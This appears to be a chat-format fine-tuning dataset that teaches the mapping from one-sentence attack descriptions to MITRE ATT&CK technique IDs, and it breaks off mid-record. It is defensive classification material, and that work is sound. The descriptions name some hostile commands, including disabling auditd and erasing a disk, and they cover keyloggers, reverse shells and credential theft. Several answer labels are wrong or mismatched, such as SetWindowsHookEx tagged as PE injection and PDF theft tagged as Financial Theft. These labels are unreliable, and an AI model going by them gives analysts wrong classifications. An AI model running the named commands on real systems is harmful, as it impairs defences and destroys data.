        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a domain that closely mimics a popular brand to launch brand‑spoofing attacks."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a DLL hijacking vulnerability in a privileged service, the adversary steals credentials from the Windows Credential Store."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor repeatedly opens and closes network sockets on a target workstation, exhausting its file descriptor limit and causing a DoS."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exploiting a vulnerable WordPress plugin, the threat actor installs a backdoor web shell to maintain persistent access."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator performs a Pass-the-Ticket attack by dumping Kerberos tickets from a compromised host's cache."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker used a signed but malicious transport agent to bypass security controls and send phishing emails from legitimate accounts."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage a custom REST endpoint to push exfiltrated files to a command-and-control server, using only outbound traffic and no server responses."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes Windows Management Instrumentation (WMI) to execute a Visual Basic script that gathers system information."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised USB device to drop ransomware onto a victim's workstation when the device is connected."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential theft occurs through the use of a malicious PowerShell script that queries WMI for stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lateral movement is achieved by an adversary when they utilize the Remote Desktop Protocol to move from one system to another without being detected."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code scans for OpenVPN client private keys in configuration files and sends them to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the registry to point to an executable path without quotes, allowing a malicious program in a similarly named folder to be executed instead."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker delivers a malicious HTML page that contains a base64‑encoded payload which is decoded and executed in the browser using JavaScript, allowing the malware to bypass email filters."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code overwrites the boot sector, rendering computers unbootable."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder used a mapped drive to retrieve confidential PDF files from a file server."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker overwrites a shared text file used for logging with code that triggers a scheduled task on any system reading the file."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors execute a downgrade of the system image, re‑installing an earlier OS version to regain exploit capabilities."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploited a USB auto-run feature to execute a payload that exfiltrated keylog files onto a nearby flash drive."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor performed remote code execution on the target by abusing the WinRM service with the Invoke-Command -ComputerName parameter."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the malicious actor altered the ACL of the Windows Service registry key to allow execution with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages search engine queries and site‑specific Google dorks to discover and profile the victim's internet‑facing assets."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a compromised service account to run a cleanup routine that wipes recent email logs from the target's mail store."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses \"systemctl mask auditd\" to prevent the audit service from being started again."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the adversary sets up an email forwarding rule that copies all inbound mail to an off‑network account."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accessed the configuration management system and copied the configuration files of core switches."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script extracts the contents of key configuration files (e.g., .ini, .conf) to learn the victim's application settings."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code calls the .NET System.IO.Compression namespace to archive collected data on the victim host."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a reverse SSH tunnel from a compromised internal host to an external server, bridging the internal network to the outside world."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts cached domain credentials from memory and replays the hash to gain admin access on a Windows server."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executed a masscan sweep to identify HTTP and FTP services running on external IP ranges."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing a privilege escalation bug, the attacker forces a critical system daemon to segfault, halting all services on the host."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A social engineering message convinces a user to download and execute a seemingly benign .bat script that actually installs a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages a compromised service account to enumerate and exfiltrate data from Box cloud storage."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes disabling the host-based intrusion detection system's indicator matching module, so suspicious file hashes go undetected."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses SetWindowsHookEx to inject code into the address space of a user‑land application."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor creates a nested hidden directory structure, such as .config/.tools/, and stores backdoor binaries deep within to evade discovery."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program exploits macOS resource forks to embed additional code in the metadata of a harmless-looking file."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a malicious command to /etc/rc.local so the payload executes every time the system boots."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: RC Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the built‑in Windows utility 'snippingtool.exe' to record screen contents."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the macOS 'diskutil eraseDisk' utility, the intruder formatted the primary volume, erasing all data."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder tampered with IBM Cloud Activity Tracker settings to stop logging of user actions."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker leverages a stolen authentication token to impersonate a legitimate user in a cloud service console."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software removed evidence by deleting the Application log via the Windows Event Viewer."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages NTFS file attributes to make malicious executables invisible to normal file browsing."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The tool accesses /proc/[pid]/maps to identify memory regions containing password hashes and then extracts them."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker repeatedly triggers MFA push notifications to a user's device, hoping the user will approve one out of fatigue."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit runs a WMI query 'Select * from Win32_Group' targeting the domain to enumerate groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware renamed its payload to \"services.exe\" and injected it into the system service manager to avoid triggering alerts."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker performs SNMP walks against remote devices to collect system details."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker schedules a systemd service via a timer unit to execute a reverse shell script at system startup."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reconfigures the VPN client to accept only 128‑bit AES keys, dropping from the default 256‑bit configuration."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performed a scan of the subnet using ping sweeps to discover other systems reachable on the network."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group wrote a keylogger that captures keystrokes and sends them to a C2 server over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets an Outlook rule that runs a malicious PowerShell command when an email with a particular attachment type is opened, persisting across reboots."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a legitimate web API (e.g., Twitter API) to tweet encrypted commands, which the malware reads by accessing the timeline."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses PowerShell's Get-WmiObject Win32_OperatingSystem to retrieve the operating system name, build number, and architecture."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the LD_PRELOAD environment variable to point to a malicious shared object, causing the dynamic linker to load it before any other libraries."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor crafts a malicious PDF that triggers a crash in the PDF reader, resulting in a denial of service on the system."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Botnet collects Windows System logs via WMI queries to enumerate system restarts and shutdowns."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary adds a malicious DLL path to the Windows registry key \"AppInit_DLLs\" so that it is automatically loaded into every user-mode process during logon."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts PDF files from the default download folder looking for financial reports."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spearphishing campaign leveraging an internal user’s email to send a malicious link disguised as a calendar invite."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary accesses a CI/CD pipeline's artifact storage to download built binaries and underlying source code."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed a stealthy spyware component into the recovery image of a compromised laptop during a patch operation."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor queries the registry for the \"SystemRoot\" value to locate the Windows directory for further malicious actions."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a remote administration tool that includes a “listen to microphone” command which, when issued, records and streams live audio to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using NtCreateThreadEx, the threat actor injects a portable executable into explorer.exe to execute code with the user's privileges."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the IDispatch interface to automate Office applications, passing malicious payloads through COM objects between processes."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers gained remote access to a build automation system and injected a malicious payload into the release artifacts of a critical enterprise application."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload leveraged a custom decoder that transformed XOR‑encrypted command strings at runtime."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor runs a command that displays all active GUI windows, searching for a specific banking application window."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits the Windows CreateProcess API with the CREATE_SUSPENDED flag, then patches the entry point of the new process with malicious code."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder starts with a low‑profile IRC connection for reconnaissance, then upgrades to a secure WebSocket channel to exfiltrate credentials."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary's implant uses a Linux keylogger that reads from /dev/input/event* to log all typed characters."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit collected network connection data by reading the Windows Registry entries under HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
